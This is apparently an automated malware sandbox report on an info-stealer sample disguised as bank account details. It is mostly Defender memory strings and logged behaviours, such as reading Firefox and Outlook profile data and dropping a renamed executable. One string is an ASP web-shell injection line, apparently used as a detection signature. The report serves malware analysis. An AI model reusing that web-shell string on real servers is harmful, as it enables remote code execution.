        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: INSERT INTO BmFileStartupActions(FilePathHash, FilePath, ActionFlags, ProcessStartCount, FdrFlags, FdrThreatRecordId, EvaluatorThreatRecordId, TrustedInstallerThreatRecordId, LFRThreatRecordId) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?);SELECT ID FROM BmFileStartupActions WHERE BmFileStartupActions.FilePathHash = ?;SELECT FilePathHash, FilePath, ActionFlags, ProcessStartCount, FdrFlags, FdrThreatRecordId, EvaluatorThreatRecordId, TrustedInstallerThreatRecordId, LFRThreatRecordId FROM BmFileStartupActions WHERE FilePathHash = ?DELETE FROM BmFileStartupActions WHERE BmFileStartupActions.FilePathHash = ?;SELECT Count(1) FROM BmFileStartupActions;|
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM SystemRegistryCache WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT COUNT(1) FROM AttributeCounts;
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpBinary or memory string: insertinto[bin_cmd](cmd)values('&lt;%execute(request(chr(35)))%&gt;')
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Count(1) FROM AmsiFileCache;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key FROM AnomalyTables WHERE AnomalyTables.TableKey = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO SystemRegistryCache(Key, FileIDHash, RegPath, RegOperation, NewRegType, OldRegType, OldRegData, NewRegData, InstanceTimeStamp) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO AtomicCounters(Key, Name, Count, InsertTime, ExpireTime, UpdateTime) VALUES(? , ? , ? , ? , ? , ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO File(SHA1, MD5, lshashs, lshash, PartialCRC1, PartialCRC2, PartialCRC3, KCRC1, KCRC2, KCRC3, KCRC3n, Size, SHA256) VALUES(? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ?, ?, ? );
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(30, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(23, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT COUNT(1) FROM RollingQueuesValues;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO SdnEx(Key, CurrentCount) VALUES (?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(15, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(10, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO BmProcessInfo(PPIDHash, ProcessStartTime, PID, StructVersion, ImageFileName, MonitoringFlags_Flags, MonitoringFlags_VmHardenType, MonitoringFlags_ExemptVmHardenedTypes, CommandLineArgs, HipsInjectionId, FolderGuardId, Flags, LsassReadMemId, MonitoringFlags_Flags2Low, MonitoringFlags_Flags2High)VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Count(1) FROM BackupProcessInfo;
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: SELECT Key, FilePath, Context, InsertTime, ExpireTime FROM AttributePersistContext WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT FileInstance.ID FROM FileInstance, RecordIdentifier WHERE FileInstance.RecordID = RecordIdentifier.ID AND RecordIdentifier.Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity FROM ProcessBlockHistory ORDER BY TimeStamp DESC;DELETE FROM ProcessBlockHistory WHERE ProcessPath = ? AND TimeStamp = ?;SELECT COUNT(1) FROM ProcessBlockHistory;SELECT t1.ProcessPath, t1.TimeStamp, t1.TargetPath, t1.RuleId, t1.IsAudit, t1.Action, t1.ProcessTaintReason, t1.ProcessIntegrity FROM ProcessBlockHistory AS t1 INNER JOIN(SELECT ID, ProcessPath, MAX(TimeStamp) AS MostRecentTime FROM ProcessBlockHistory WHERE RuleId = ? GROUP BY ProcessPath) AS t2 ON t1.ID = t2.ID AND t1.TimeStamp = t2.MostRecentTime ORDER BY t1.TimeStamp DESC;SELECT t1.ProcessPath, t1.TimeStamp, t1.TargetPath, t1.RuleId, t1.IsAudit, t1.Action, t1.ProcessTaintReason, t1.ProcessIntegrity FROM ProcessBlockHistory AS t1 INNER JOIN(SELECT ID, ProcessPath, MAX(TimeStamp) AS MostRecentTime FROM ProcessBlockHistory GROUP BY ProcessPath) AS t2 ON t1.ID = t2.ID AND t1.TimeStamp = t2.MostRecentTime ORDER BY t1.TimeStamp DESC;SELECT ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity FROM ProcessBlockHistory WHERE RuleId = ? ORDER BY TimeStamp DESC;SELECT ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity FROM ProcessBlockHistory WHERE ProcessPath = ? AND TimeStamp = ? ORDER BY TimeStamp DESC;SELECT ID FROM ProcessBlockHistory WHERE ProcessPath = ?;SELECT ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity FROM ProcessBlockHistory WHERE ProcessPath = ? ORDER BY TimeStamp DESC;DELETE FROM ProcessBlockHistory WHERE TimeStamp < ?;SELECT ProcessPath, TimeStamp FROM ProcessBlockHistory ORDER BY TimeStamp ASC LIMIT 1SELECT COUNT(DISTINCT ProcessPath) FROM ProcessBlockHistory;SELECT ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity FROM ProcessBlockHistory WHERE ProcessPath = ? ORDER BY TimeStamp DESC LIMIT 1;REPLACE INTO ProcessBlockHistory(ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity) VALUES (?, ?, ?, ?, ?, ?, ?, ?);DELETE FROM ProcessBlockHistory;[3
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT RecordIdentifier.Key, FileInstance.RecordID, RecordIdentifier.RecordTimeStamp, FileInstance.TrackingEnabled, FileInstance.StorageEvent, FileInstance.StorageEventState, FileInstance.ModificationsCount, FileInstance.ParentRecordID, FileInstance.Parent_FileEvent, FileInstance.Parent_FileName, RecordIdentifier.Generation, FileInstance.FileName, FileInstance.USN, FileInstance.CreateTime, FileInstance.LastAccessTime, FileInstance.LastWriteTime, FileInstance.Signer, FileInstance.SignerHash, FileInstance.Issuer, FileInstance.SigningTime, FileInstance.MOTW, FileInstance.MOTWFromParent, FileInstance.IsValidCert, FileInstance.CertInvalidDetails, FileInstance.IsCatalogSigned, File.SHA1, File.MD5, File.lshashs, File.lshash, File.PartialCRC1, File.PartialCRC2, File.PartialCRC3, File.KCRC1, File.KCRC2, File.KCRC3, File.KCRC3n, File.Size, File.SHA256, ParentProcessInfo.CommandLine, ParentProcessInfo.FileName, ParentProcessInfo.IntegrityLevel, ParentProcessInfo.ProcessId, ParentProcessInfo.StartTime, ParentProcessInfo.TokenElevation, ParentProcessInfo.TokenElevationType, RemoteProcessInfo.CommandLine, RemoteProcessInfo.FileName, RemoteProcessInfo.IntegrityLevel, RemoteProcessInfo.TokenElevation, RemoteProcessInfo.TokenElevationType, ScanInfo.NamedAttributes, ScanInfo.PeAttributes, ScanInfo.PersistSigSeq, ScanInfo.ProgenitorPersistSigSeq, ScanInfo.ScanAgent, ScanInfo.ScanReason, ScanInfo.SigAttrEvents, ScanInfo.SigSeq, ScanInfo.SigSha, ScanInfo.WebURL,Engine.EngineVersion, Engine.SigVersion FROM RecordIdentifier INNER JOIN (FileInstance INNER JOIN File ON FileInstance.FileID = File.ID LEFT OUTER JOIN ProcessInfo as 'ParentProcessInfo' ON FileInstance.Parent_ProcessID = ParentProcessInfo.ID LEFT OUTER JOIN ProcessInfo as 'RemoteProcessInfo' ON FileInstance.Remote_ProcessID = RemoteProcessInfo.ID LEFT OUTER JOIN (ScanInfo INNER JOIN Engine ON ScanInfo.EngineID = Engine.ID) ON FileInstance.ScanID = ScanInfo.ID ) ON RecordIdentifier.ID = FileInstance.RecordID WHERE RecordIdentifier.Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE AtomicCounters SET Name = ?, Count = ?, InsertTime = ?, ExpireTime = ?, UpdateTime = ?, WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(9, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Count(1) FROM DynSigRevisions;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT COUNT(1) FROM ProcessBlockHistory;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Count(1) FROM BmProcessInfo;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO ValueMapArray(Key, RecordType, ValueMapArrayBlob, InstanceTimeStamp) VALUES(?, ? , ? , ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key, Name, Count, InsertTime, ExpireTime FROM AttributeCounts WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key, FileName, SigSeq, SigSha, SigIsSync, InstanceTimeStamp FROM FileLowFiAsync WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM BmFileStartupActions WHERE BmFileStartupActions.FilePathHash = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT COUNT(1) FROM FileHashes;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key FROM FileLowFiAsync WHERE FileLowFiAsync.Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO RecordIdentifier(Key, RecordTimeStamp, Generation) VALUES(?, ?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(27, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO FileHashes(Key, VSN, FileID, USN, InstanceTimeStamp, SHA1, MD5, SHA256, LSHASH, LSHASHS, CTPH, PartialCRC1, PartialCRC2, PartialCRC3, KCRC1, KCRC2, KCRC3, KCRC3n) VALUES(?, ? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ? , ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT DetectionGuid, LkgTS, NextUSN, DetectionTS, ProvisionalRemedComplTS, RemedComplTS, ImpactedCBPNameSpaces FROM RansomwareDetections WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO NetworkIpFirewallRules(Key, FirewallRuleName, ExpiryTime) VALUES (?, ?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT FilePath, FirstStartTime, NextUSN, AutomaticRemovalPolicy, ImpactedCBPNameSpaces FROM BackupProcessInfo WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(7, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key FROM RollingQueuesTables WHERE RollingQueuesTables.Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT InfectedFileSHA, ProcFileId, SystemFilePath, CleanFileSha FROM SystemFileCache WHERE InfectedFileSHAHash = ? OR ProcFileIDSystemFileHash = ? ORDER BY InstanceTimeStamp DESC;SELECT ID FROM SystemFileCache WHERE InfectedFileSHAHash = ? OR ProcFileIDSystemFileHash = ?;DELETE FROM SystemFileCache WHERE InstanceTimeStamp < ?; SELECT Count(1) FROM SystemFileCache WHERE CleanFileShaHash = ?; INSERT INTO SystemFileCache(InfectedFileSHAHash, InfectedFileSHA, ProcFileIDSystemFileHash, ProcFileId, SystemFilePath, CleanFileSha, CleanFileShaHash, InstanceTimeStamp) VALUES ( ?, ?, ?, ?, ?, ?, ?, ?);SELECT CleanFileSha, CleanFileShaHash FROM SystemFileCache WHERE InstanceTimeStamp < ?; SELECT Count(1) FROM SystemFileCache;DELETE FROM SystemFileCache WHERE InfectedFileSHAHash = ? OR ProcFileIDSystemFileHash = ?;2
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key FROM AttributePersistContext WHERE AttributePersistContext.Key = ?; DELETE FROM AttributePersistContext WHERE AttributePersistContext.Key = ?; SELECT COUNT(1) FROM AttributePersistContext; DELETE FROM AttributePersistContext WHERE ExpireTime < ?; SELECT Key FROM AttributePersistContext ORDER BY InsertTime ASC LIMIT 1; INSERT INTO AttributePersistContext(Key, FilePath, Context, InsertTime, ExpireTime) VALUES(? , ? , ? , ? , ?); UPDATE AttributePersistContext SET FilePath = ?, Context = ?, InsertTime = ?, ExpireTime = ? WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity FROM ProcessBlockHistory ORDER BY TimeStamp DESC;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(2, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Count(DISTINCT UserIdHash) FROM FolderGuardPaths;INSERT INTO FolderGuardPaths(UserIdHash, UserId, GUID, Path) VALUES ( ?, ?, ?, ? );SELECT ID FROM FolderGuardPaths WHERE UserIdHash = ? LIMIT 1;DELETE FROM FolderGuardPaths WHERE UserIdHash = ?;SELECT UserId, GUID, Path FROM FolderGuardPaths WHERE UserIdHash = ?N
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE AttributeCounts SET Name = ?, Count = ?, InsertTime = ?, ExpireTime = ? WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT (SELECT COUNT(*) FROM File) + (SELECT COUNT(*) FROM FileInstance);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO RollingQueuesTables(Key, Name, Capacity, TimeToLive, Mode) VALUES(? , ? , ? , ? , ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO FolderGuardPaths(UserIdHash, UserId, GUID, Path) VALUES ( ?, ?, ?, ? );
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM BackupProcessInfo WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(25, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM BmFileInfo WHERE NormalizedPathHash = ? OR DosPathHash = ?;SELECT ID, NormalizedPathHash, DosPathHash, StructVersion, NormalizedPath, DosPath, Wow64Context, MetaContext, IsFromWeb, IsExecutable FROM BmFileInfo WHERE NormalizedPathHash = ? OR DosPathHash = ?;INSERT INTO BmFileActions(FileInfoId, ThreatRecordId, Action) VALUES (?, ?, ?);INSERT INTO BmFileInfo(NormalizedPathHash, DosPathHash, StructVersion, NormalizedPath, DosPath, Wow64Context, MetaContext, IsFromWeb, IsExecutable) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?);DELETE FROM BmFileInfo WHERE NormalizedPathHash = ? OR DosPathHash = ?;SELECT Count(1) FROM BmFileInfo;SELECT ThreatRecordId, Action FROM BmFileActions WHERE FileInfoId == ?;DELETE FROM BmFileActions;DELETE FROM BmFileInfo;B
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Count(1) FROM BmFileStartupActions;
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: UPDATE AttributePersistContext SET FilePath = ?, Context = ?, InsertTime = ?, ExpireTime = ? WHERE Key = ?; INSERT INTO AttributePersistContext(Key, FilePath, Context, InsertTime, ExpireTime) VALUES(? , ? , ? , ? , ?); SELECT Key FROM AttributePersistContext ORDER BY InsertTime ASC LIMIT 1; SELECT Key, FilePath, Context, InsertTime, ExpireTime FROM AttributePersistContext WHERE Key = ?; SELECT COUNT(1) FROM AttributePersistContext; DELETE FROM AttributePersistContext WHERE AttributePersistContext.Key = ?; SELECT Key FROM AttributePersistContext WHERE AttributePersistContext.Key = ?; DELETE FROM AttributePersistContext WHERE ExpireTime < ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key FROM AttributePersistContext ORDER BY InsertTime ASC LIMIT 1;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO Engine(EngineVersion, SigVersion) VALUES(? , ? );
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CFB1C4 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,GetLastError,Process32FirstW,GetLastError,Process32NextW,GetLastError,FindCloseChangeNotification,CloseHandle,
        Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:5224:120:WilError_03
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1260:304:WilStaging_02
        Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7116:120:WilError_03
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1260:120:WilError_03
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7776:304:WilStaging_02
        Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7116:304:WilStaging_02
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6788:120:WilError_03
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6788:304:WilStaging_02
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7776:120:WilError_03
        Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:5224:304:WilStaging_02
        Source: Foreign_Bank Account Details.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeSection loaded: C:\Windows\SysWOW64\msvbvm60.dll
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile created: C:\Users\user\AppData\Roaming\tKZVPqJump to behavior
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CEB0C8 OpenSCManagerW,OpenServiceW,CloseServiceHandle,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,
        Source: Foreign_Bank Account Details.exeReversingLabs: Detection: 33%
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile created: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0Jump to behavior
        Source: Window RecorderWindow detected: More than 3 window changes detected
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
        Source: Binary string: \Release\runner.pdb source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp
        Source: Binary string: ASAM\original\delfiletype\delfiletype\obj\Release\delfiletype.pdb source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmp
        Source: Binary string: Release\arc_2010.pdb source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp
        Source: Binary string: oyvmhvtgei\bmjc\fee.pdb source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmp
        Source: Binary string: \fcrypt\Release\S\s_high.pdb source: MpSigStub.exe, 00000023.00000003.18300585182.0000015B1A681000.00000004.00000001.sdmp
        Source: Binary string: \natchat-master\x64\Release\natchat.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: c:\1\rich\look\80\24\Famous\35\72\special\22\melody.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: main\payload\payload.x86.pdb source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp
        Source: Binary string: CFy92ROzKls\ro\HwtAF.pdb source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp
        Source: Binary string: -:\MySpys\chrome_cookie_view\Release\crome.pdb source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmp
        Source: Binary string: cts\AKL\kh\Release\kh.pdb source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmp
        Source: Binary string: *.pdb.|!\binplace.exe source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmp
        Source: Binary string: .C:\SlackDismort\third\Release\SlackDismort.pdbat source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: C:\Proyectos\desktop_apps\Updater\UpdaterVittalia\obj\Release\UpdaterService.pdbxx source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: dciman32.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: \BeamWinHTTP\Release\BeamWinHTTP.pdb source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmp
        Source: Binary string: msmdsrv.pdb source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmp
        Source: Binary string: Release\NexGenMediaPlayerApp.pdb source: MpSigStub.exe, 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\mshta\objfre\i386\mshta.pdb source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp
        Source: Binary string: he#@1.Pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: heerhWHW#@1wHJnERbRW.Pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: LMIGuardianSvc.pdb source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp
        Source: Binary string: \Release\gogodele.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: +020202020202020202020202020202020202020.pdb source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmp
        Source: Binary string: \\Desktop\\.+\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: N%Tray Me !.*\\Release\\Tray Me !\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: SpeedNewASK\Debug\spdfrmon.pdb source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp
